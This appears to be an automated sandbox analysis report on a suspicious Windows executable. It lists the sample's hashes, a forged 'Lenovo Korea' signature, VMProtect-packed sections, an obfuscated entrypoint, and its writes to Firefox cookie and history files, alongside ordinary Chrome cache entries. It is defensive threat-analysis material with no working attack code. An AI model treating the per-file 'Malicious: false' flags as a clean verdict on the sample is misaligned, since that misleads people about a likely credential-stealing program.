Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 20:02:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9887648932996966
Encrypted:	false
SSDEEP:	48:8D0dUTYgJHbidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbxtfy+yT+:8D/XUT/TbxWOvTbbfy7T
MD5:	07D2E92BA1A8D9CF41C8ACA46D37CC87
SHA1:	5FB4BBA3FDA289F34177C75091E0084A1420DE79
SHA-256:	9F780BA12E71A13AF6F706B0012397EB3EBE3032199FDFADFE3947643BBB1540
SHA-512:	E49624397A7A84A64486C32D6637ED6EC6AE82F351D9CC69538891FEC63250E3F89A6295F1E791E62C1475FFA9ABE8A29A6CABC9D703BEA359932598E42396EA
Malicious:	false
Preview:	L..................F.@.. ...$+.,....l.'..Q..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X7u.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (852)
Category:	downloaded
Size (bytes):	857
Entropy (8bit):	5.197598556414036
Encrypted:	false
SSDEEP:	24:8P/huRFY2BHslgT9lCuABATUuoB7HHHHHHHYqmffffffo:SQrKlgZ01BAIuSEqmffffffo
MD5:	2F5407DAE287447353A507F0E9D59F83
SHA1:	5859C66AA281C70570B62955C25524445AFEEC98
SHA-256:	54A75C6ED9DF6CFAA833BCF442122D3E32623E6E470C4C2D4814C9009D27A9CD
SHA-512:	838835CF500A4E484C9EF9360133BE7A33EECB28FCEDF9BE292177551FCECFA1E95FB34FBD238F9D0460F1FBDF74D07ECF81D3421B5945A28988556A27F11103
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["honda prelude hybrid coupe","real madrid vs pachuca live stream","james gunn superman movie trailer","snow storm weather forecast","unearthed arcana artificer","mersen manufacturing columbia tennessee","raiders 2025 draft picks","pudgy penguins price"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":-6315461329899983654,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132747
Entropy (8bit):	5.43697615486539
Encrypted:	false
SSDEEP:	3072:fykJQ7O4N5dTm+syHEt4W3XdQ4Q6wuSr/nUW2i6o:fbQ7HTt/sHdQ4Q6wDfUW8o
MD5:	A6A068A95D3E43E45977992A03C7BE60
SHA1:	0ED589BB29594D3B218F37EF257929647D28A10F
SHA-256:	5474E983C33564FE72B298ECAC8C04EA7BE493CB9DC7A162FD7100ED1BE4BB52
SHA-512:	58EB9F06975E8736EBBCCFFCC9D9270B8E107D6B05B498CC945636CBF689E84D17797FEF638A61B8156640FEF3D3AD5750B65372EC71F5A9B8CB8037572EA548
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.857001894303349
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZXVcgrmGRM.exe
File size:	6'415'328 bytes
MD5:	f12ecb7e8dd8bfb2d68df43267aeba89
SHA1:	f84adbecb1cc3db6be01ea506cb8e3e747d8356a
SHA256:	d851fac530f4b5d3f7f215f4257a8fd0248039b7beb7246b06fb2f47e5297d17
SHA512:	7b694e3c7a02883fbde8868552411cd37e0724f5b7b884f3d8ea3597d2e5beb0701a5cea337471742b926a1f18bf2c1351929a872b04d43d91b36d46f180710a
SSDEEP:	98304:ew9zSgxHa3GEff6K/lYxaSXAMeUx3HuzxXnjWxx0GYHl9T+Fxc+aE484jZweXt2:5zSMHanf3/W1A/G3HYCXtA4x2EkK02
TLSH:	9256239E3ADB40E9D9D10970EB27B6F317B378A50DAA893E79C1704DA0B1F753026712
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....bg.....................j).......e...........@..........................0......N.b...@................................

File Icon


Icon Hash:	34343616143cf080

Static PE Info

General

Entrypoint:	0xa51302
Entrypoint Section:	.vmp
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6762C8DB [Wed Dec 18 13:06:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	50b44559eff1be1a0be57bbdc64589ad

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Lenovo Korea
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	13/12/2024 08:44:21 14/12/2034 08:44:21
Subject Chain	CN=Lenovo Korea
Version:	3
Thumbprint MD5:	B7A8DBF2384D8CC90D0BE37EB3CD3FF7
Thumbprint SHA-1:	6101BB04CC34C46B782DBFA9B663A250BD83574B
Thumbprint SHA-256:	57D3BC67D65A548FEA13B584EC754F89A9AB753D6D55859AADF6F770C8E185F6
Serial:	3BFABEE5DF766D85428F4CA7EA021F26

Entrypoint Preview

Instruction
call 00007F9F9CFF7D83h
call 00007F9F9D063C7Bh
mov dword ptr [esp+edx*2-61CDA4B0h], ecx
add ebp, eax
or edx, dword ptr [esp+edx*2-61CDA4B0h]
mov ax, word ptr [esi]
mov dx, word ptr [esi+02h]
inc cx
jg 00007F9F9D0B1C64h
lea esp, dword ptr [esp+08h]
jne 00007F9F9CFBF723h
push 0A30D8AFh
mov eax, dword ptr [esp+00h]
push eax
mov eax, dword ptr [ebp+eax*4-28C362BCh]
call 00007F9F9D415357h
xor ebx, ecx
mov dword ptr [esp+edx*8], eax
cbw
sub ax, word ptr [esp+edx+09h]
adc esi, ecx
lea ecx, dword ptr [eax+eax*2+46B08791h]
ror eax, cl
push ecx
mov dword ptr [esp+edx], esi
retn 000Ch
pop ecx
mov eax, C71724BAh
lea eax, dword ptr [eax+eax+66156715h]
cwde
pop eax
push EDA02331h
push 84A0B628h
lea esp, dword ptr [esp+08h]
ret
movzx cx, byte ptr [edx]
movsx edx, ax
mov word ptr [ebp-02h], cx
adc ebp, FFFFFFFEh
sar edx, 44h
shl dx, 0028h
sal dword ptr [esp+05h], 39h
pop eax
pop eax
pop eax
jne 00007F9F9D418A8Bh
mov ecx, 52842D25h
btr cx, cx
movzx edx, cx
mov edx, dword ptr [ecx+edi-52842D05h]
movsx eax, cx
cbw
neg al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x70caf0	0x50	.vmp
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xaf0000	0x7221e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x61c600	0x1de0	.vmp
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaef000	0x6a8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x525000	0x120	.vmp
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2951a	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0xbbc4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x212bec	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x24a000	0x2da480	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp	0x525000	0x2a8	0x400	bf617615369273f203812d1e85658577	False	0.2841796875	data	2.076940986788455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x526000	0x5c8c80	0x5c8e00	326da24fe37e9d8cdee80d1d29b4a1a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0xaef000	0x6a8	0x800	56243c7303452e5d631ce6dac93c4292	False	0.42724609375	data	3.7754853741754286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xaf0000	0x7221e	0x52800	6c332359612e11a1776fd4587fc3ded3	False	0.6196762547348484	data	6.456244255386258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BRAVEUPDATE	0xb427fc	0x4	data			3.0
FLAGS	0xb42800	0xe	empty	English	United States	0
MUI	0xaf2810	0x58b5	InnoSetup messages, version 5.5.3, 221 messages (UTF-16), &About Setup...			0.1815579726099784
XML	0xb42810	0x130	empty	English	United States	0
XML	0xb42940	0xb48	empty	English	United States	0
XML	0xb43488	0x967	empty	English	United States	0
XML	0xb43df0	0xabc	empty	English	United States	0
XML	0xb448ac	0x21e	empty	English	United States	0
XML	0xb44acc	0x281	empty	English	United States	0
XML	0xb44d50	0x30d	empty	English	United States	0
XML	0xb45060	0xa60	empty	English	United States	0
XML	0xb45ac0	0x216	empty	English	United States	0
XML	0xb45cd8	0x471	empty	English	United States	0
XML	0xb4614c	0x1fd	empty	English	United States	0
XML	0xb4634c	0x8c4	empty	English	United States	0
XML	0xb46c10	0x234	empty	English	United States	0
XML	0xb46e44	0xd6	empty	English	United States	0
XML	0xb46f1c	0xd8	empty	English	United States	0
XML	0xb46ff4	0x834	empty	English	United States	0
XML	0xb47828	0x38f	empty	English	United States	0
XML	0xb47bb8	0x49a	empty	English	United States	0
XML	0xb48054	0x4d1	empty	English	United States	0
XML	0xb48528	0xee9	empty	English	United States	0
XML	0xb49414	0x118	empty	English	United States	0
XML	0xb4952c	0x233	empty	English	United States	0
XML	0xb49760	0x201	empty	English	United States	0
XML	0xb49964	0x16f2	empty	English	United States	0
XML	0xb4b058	0x260	empty	English	United States	0
XML	0xb4b2b8	0x1697	empty	English	United States	0
XML	0xb4c950	0x426	empty	English	United States	0
XML	0xb4cd78	0xe0	empty	English	United States	0
XML	0xb4ce58	0x5cb	empty	English	United States	0
XML	0xb4d424	0x562	empty	English	United States	0
XML	0xb4d988	0x2a9	empty	English	United States	0
XML	0xb4dc34	0xac	empty	English	United States	0
XML	0xb4dce0	0x15e3	empty	English	United States	0
XML	0xb4f2c4	0x865	empty	English	United States	0
XML	0xb4fb2c	0xb25	empty	English	United States	0
XML	0xb50654	0x1c5	empty	English	United States	0
XML	0xb5081c	0x6e4	empty	English	United States	0
XML	0xb50f00	0x111	empty	English	United States	0
XML	0xb51014	0x285	empty	English	United States	0
XML	0xb5129c	0x30d	empty	English	United States	0
XML	0xb515ac	0x19f	empty	English	United States	0
XML	0xb5174c	0x49c	empty	English	United States	0
XML	0xb51be8	0xd41	empty	English	United States	0
XML	0xb5292c	0x6bb	empty	English	United States	0
XML	0xb52fe8	0x1fb	empty	English	United States	0
XML	0xb531e4	0x216	empty	English	United States	0
XML	0xb533fc	0x522	empty	English	United States	0
XML	0xb53920	0x2bb	empty	English	United States	0
XML	0xb53bdc	0x681	empty	English	United States	0
XML	0xb54260	0x473	empty	English	United States	0
XML	0xb546d4	0x7df	empty	English	United States	0
XML	0xb54eb4	0x5a1	empty	English	United States	0
XML	0xb55458	0x648	empty	English	United States	0
XML	0xb55aa0	0x1ee	empty	English	United States	0
XML	0xb55c90	0xe06	empty	English	United States	0
XML	0xb56a98	0xd6e	empty	English	United States	0
XML	0xb57808	0x5ef	empty	English	United States	0
XML	0xb57df8	0x465	empty	English	United States	0
XML	0xb58260	0x1df	empty	English	United States	0
XML	0xb58440	0x885	empty	English	United States	0
XML	0xb58cc8	0x216	empty	English	United States	0
XML	0xb58ee0	0x68e	empty	English	United States	0
XML	0xb59570	0x43f	empty	English	United States	0
XML	0xb599b0	0x3a9	empty	English	United States	0
XML	0xb59d5c	0x1f3	empty	English	United States	0
XML	0xb59f50	0x437	empty	English	United States	0
XML	0xb5a388	0x1fa	empty	English	United States	0
XML	0xb5a584	0x6b8	empty	English	United States	0
XML	0xb5ac3c	0x359	empty	English	United States	0
XML	0xb5af98	0x321	empty	English	United States	0
XML	0xb5b2bc	0x54a	empty	English	United States	0
XML	0xb5b808	0xa33	empty	English	United States	0
XML	0xb5c23c	0x418	empty	English	United States	0
XML	0xb5c654	0x69d	empty	English	United States	0
XML	0xb5ccf4	0x249	empty	English	United States	0
XML	0xb5cf40	0x3d4	empty	English	United States	0
XML	0xb5d314	0x274	empty	English	United States	0
XML	0xb5d588	0x21d	empty	English	United States	0
XML	0xb5d7a8	0x382	empty	English	United States	0
XML	0xb5db2c	0x6ba	empty	English	United States	0
XML	0xb5e1e8	0x2ce	empty	English	United States	0
XML	0xb5e4b8	0x478	empty	English	United States	0
XML	0xb5e930	0x86a	empty	English	United States	0
XML	0xb5f19c	0x352	empty	English	United States	0
XML	0xb5f4f0	0x1c2	empty	English	United States	0
XML	0xb5f6b4	0x396	empty	English	United States	0
XML	0xb5fa4c	0x486	empty	English	United States	0
XML	0xb5fed4	0x337	empty	English	United States	0
XML	0xb6020c	0x499	empty	English	United States	0
XML	0xb606a8	0x5a5	empty	English	United States	0
XML	0xb60c50	0x298	empty	English	United States	0
XML	0xb60ee8	0x1f0	empty	English	United States	0
RT_ICON	0xaf80c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.6925422138836773
RT_ICON	0xaf9170	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.5154700047236656
RT_ICON	0xafd398	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.39778776765645335
RT_ICON	0xb0dbc0	0xc698	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9986428009441385
RT_ICON	0xb1a258	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.6271106941838649
RT_ICON	0xb1b300	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.4721303731695796
RT_ICON	0xb1f528	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.37822370755944634
